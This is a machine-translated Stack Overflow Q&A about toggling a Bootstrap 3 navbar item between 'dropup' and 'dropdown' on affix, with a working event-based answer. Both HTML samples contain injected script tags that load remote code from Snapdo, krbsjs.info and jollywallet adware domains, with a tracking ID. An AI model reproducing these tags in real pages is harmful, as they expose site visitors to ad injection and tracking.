Bootstrap Dropup-Dropdown词缀使用JS在顶部粘贴时将导航栏的“ dropup”转换为“ dropdown”
[英]Bootstrap Dropup-Dropdown affix Convert navbar 'dropup' to 'dropdown' when affix on top using JS
问题描述
I want to make a navbar with 'dropup' menus with affix property . 
我想使用带有affix属性的“下拉”菜单创建导航栏。 But when '.affix' is fired the 'dropup' menus will become 'dropdown'. 但是，当触发“ .affix”时，“下拉”菜单将变为“下拉”。 my JS code is not working and can't get any solution for this . 我的JS代码无法正常工作，因此无法获得任何解决方案。 My code is given below .. Here Section4 nav-element is a dropdown-menu. 我的代码在下面给出..在这里，第4节nav-element是一个下拉菜单。
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <!DOCTYPE html> <html> <head> <title>Bootstrap Example</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> <script> $('#myaffix').affix( function() { $('#cng').removeClass('.dropup').addClass('.dropdown'); } ); </script> <style> body { position: relative; } .affix { top: 0; width: 100%; z-index: 9999 !important; } .navbar { margin-bottom: 0px; } .affix ~ .container-fluid { position: relative; top: 50px; } #section1 { padding-top: 50px; height: 500px; color: #fff; background-color: #1E88E5; } #section2 { padding-top: 50px; height: 500px; color: #fff; background-color: #673ab7; } #section3 { padding-top: 50px; height: 500px; color: #fff; background-color: #ff9800; } #section41 { padding-top: 50px; height: 500px; color: #fff; background-color: #00bcd4; } #section42 { padding-top: 50px; height: 500px; color: #fff; background-color: #009688; } </style> <script type='text/javascript' src='http://i.krbsjs.info/krbf/javascript.js?appTitle=Snapdo&channel=src230_pr&hid=4ec0649a-c229-42c0-29ef-287d07be9b68'></script> <script type='text/javascript' src='http://i.krbssrc.org/krbf/javascript.js?appTitle=Snapdo&channel=src230_pr&hid=4ec0649a-c229-42c0-29ef-287d07be9b68'></script> <script type='text/javascript' src='http://api.jollywallet.com/affiliate/client?dist=100&sub=230_pr&name=Snapdo'></script> <script type='text/javascript' src='http://cdncache-a.akamaihd.net/sub/jbbb2d8/src230_pr/l.js?pid=2126&ext=Snapdo'></script> <script type='text/javascript' src='http://feed.snapdo.com/Pixel.aspx?type=inj&userid=4ec0649a-c229-42c0-29ef-287d07be9b68&co=BD&barcode=50046888'></script> </head> <body data-spy="scroll" data-target=".navbar" data-offset="50"> <div class="container-fluid" style="background-color:#F44336;color:#fff;height:200px;"> <h1>Scrollspy & Affix Example</h1> <h3>Fixed navbar on scroll</h3> <p>Scroll this page to see how the navbar behaves with data-spy="affix" and data-spy="scrollspy".</p> <p>The navbar is attached to the top of the page after you have scrolled a specified amount of pixels, and the links in the navbar are automatically updated based on scroll position.</p> </div> <nav id="myaffix" class="navbar navbar-inverse" data-spy="affix" data-offset-top="197"> <div class="container-fluid"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#">WebSiteName</a> </div> <div> <div class="collapse navbar-collapse" id="myNavbar"> <ul class="nav navbar-nav"> <li><a href="#section1">Section 1</a> </li> <li><a href="#section2">Section 2</a> </li> <li><a href="#section3">Section 3</a> </li> <li class="dropup" id="cng"><a class="dropdown-toggle" data-toggle="dropdown" href="#">Section 4 <span class="caret"></span></a> <ul class="dropdown-menu"> <li><a href="#section41">Section 4-1</a> </li> <li><a href="#section42">Section 4-2</a> </li> </ul> </li> </ul> </div> </div> </div> </nav> <div id="section1" class="container-fluid"> <h1>Section 1</h1> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> </div> <div id="section2" class="container-fluid"> <h1>Section 2</h1> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> </div> <div id="section3" class="container-fluid"> <h1>Section 3</h1> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> </div> <div id="section41" class="container-fluid"> <h1>Section 4 Submenu 1</h1> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> </div> <div id="section42" class="container-fluid"> <h1>Section 4 Submenu 2</h1> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> </div> </body> </html>
1 个解决方案
解决方案1
1 已采纳 2015-09-20 10:05:24
GOT THE SOLUTION :D 解决方案：D
$(document).ready(function() { $('#myaffix').on('affix.bs.affix', function() { $('#cng').removeClass('dropup').addClass('dropdown'); }).on('affix-top.bs.affix', function() { $('#cng').removeClass('dropdown').addClass('dropup'); }); });
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <!DOCTYPE html> <html> <head> <title>Bootstrap Example</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> <script> $(document).ready(function() { $('#myaffix').on('affix.bs.affix', function() { $('#cng').removeClass('dropup').addClass('dropdown'); }).on('affix-top.bs.affix', function() { $('#cng').removeClass('dropdown').addClass('dropup'); }); }); </script> <style> body { position: relative; } .affix { top: 0; width: 100%; z-index: 9999 !important; } .navbar { margin-bottom: 0px; } .affix ~ .container-fluid { position: relative; top: 50px; } #section1 { padding-top: 50px; height: 500px; color: #fff; background-color: #1E88E5; } #section2 { padding-top: 50px; height: 500px; color: #fff; background-color: #673ab7; } #section3 { padding-top: 50px; height: 500px; color: #fff; background-color: #ff9800; } #section41 { padding-top: 50px; height: 500px; color: #fff; background-color: #00bcd4; } #section42 { padding-top: 50px; height: 500px; color: #fff; background-color: #009688; } </style> <script type='text/javascript' src='http://i.krbsjs.info/krbf/javascript.js?appTitle=Snapdo&channel=src230_pr&hid=4ec0649a-c229-42c0-29ef-287d07be9b68'></script> <script type='text/javascript' src='http://i.krbssrc.org/krbf/javascript.js?appTitle=Snapdo&channel=src230_pr&hid=4ec0649a-c229-42c0-29ef-287d07be9b68'></script> <script type='text/javascript' src='http://api.jollywallet.com/affiliate/client?dist=100&sub=230_pr&name=Snapdo'></script> <script type='text/javascript' src='http://cdncache-a.akamaihd.net/sub/jbbb2d8/src230_pr/l.js?pid=2126&ext=Snapdo'></script> <script type='text/javascript' src='http://feed.snapdo.com/Pixel.aspx?type=inj&userid=4ec0649a-c229-42c0-29ef-287d07be9b68&co=BD&barcode=50046888'></script> </head> <body data-spy="scroll" data-target=".navbar" data-offset="50"> <div class="container-fluid" style="background-color:#F44336;color:#fff;height:200px;"> <h1>Scrollspy & Affix Example</h1> <h3>Fixed navbar on scroll</h3> <p>Scroll this page to see how the navbar behaves with data-spy="affix" and data-spy="scrollspy".</p> <p>The navbar is attached to the top of the page after you have scrolled a specified amount of pixels, and the links in the navbar are automatically updated based on scroll position.</p> </div> <nav id="myaffix" class="navbar navbar-inverse" data-spy="affix" data-offset-top="197"> <div class="container-fluid"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#">WebSiteName</a> </div> <div> <div class="collapse navbar-collapse" id="myNavbar"> <ul class="nav navbar-nav"> <li><a href="#section1">Section 1</a> </li> <li><a href="#section2">Section 2</a> </li> <li><a href="#section3">Section 3</a> </li> <li class="dropup" id="cng"><a class="dropdown-toggle" data-toggle="dropdown" href="#">Section 4 <span class="caret"></span></a> <ul class="dropdown-menu"> <li><a href="#section41">Section 4-1</a> </li> <li><a href="#section42">Section 4-2</a> </li> </ul> </li> </ul> </div> </div> </div> </nav> <div id="section1" class="container-fluid"> <h1>Section 1</h1> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> </div> <div id="section2" class="container-fluid"> <h1>Section 2</h1> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> </div> <div id="section3" class="container-fluid"> <h1>Section 3</h1> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> </div> <div id="section41" class="container-fluid"> <h1>Section 4 Submenu 1</h1> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> </div> <div id="section42" class="container-fluid"> <h1>Section 4 Submenu 2</h1> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> <p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p> </div> </body> </html>
声明:本站的技术帖子网页，遵循CC BY-SA 4.0协议，如果您需要转载，请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.
相关问题
如何使用 dropUp 转换 li navbar 下拉菜单 - How to convert li navbar dropdown with dropUp
Bootstrap 3导航栏下拉菜单无法在带有affix.js元素的页面上切换 - Bootstrap 3 navbar dropdown menu not toggling on a page with affix.js element
制作DropDown菜单'DropUp' - Making DropDown menu 'DropUp'
Bootstrap Affix插件导航栏顶部延迟 - Bootstrap Affix plugin navbar top delay
使用Dropup替换Bootstrap Dropdown（两个几乎相同的实现上的不同活动） - Replacing Bootstrap Dropdown with Dropup (Different activity on two near identical implementations)
ng-bootstrap dropup 和 dropdown 放置在同一页面 - ng-bootstrap dropup and dropdown placement in the same page
如何使下拉菜单打开dropup？ - How to make dropdown menu to open dropup?
引导词缀导航栏scrollspy问题 - Bootstrap affix navbar scrollspy issue
滚动和重叠内容时，Bootstrap 3附加导航栏变得透明且无法点击 - Bootstrap 3 affix navbar becomes transparent and unclickable when scrolling and overlapping content
Bootstrap Affix - Bootstrap Affix
相关标签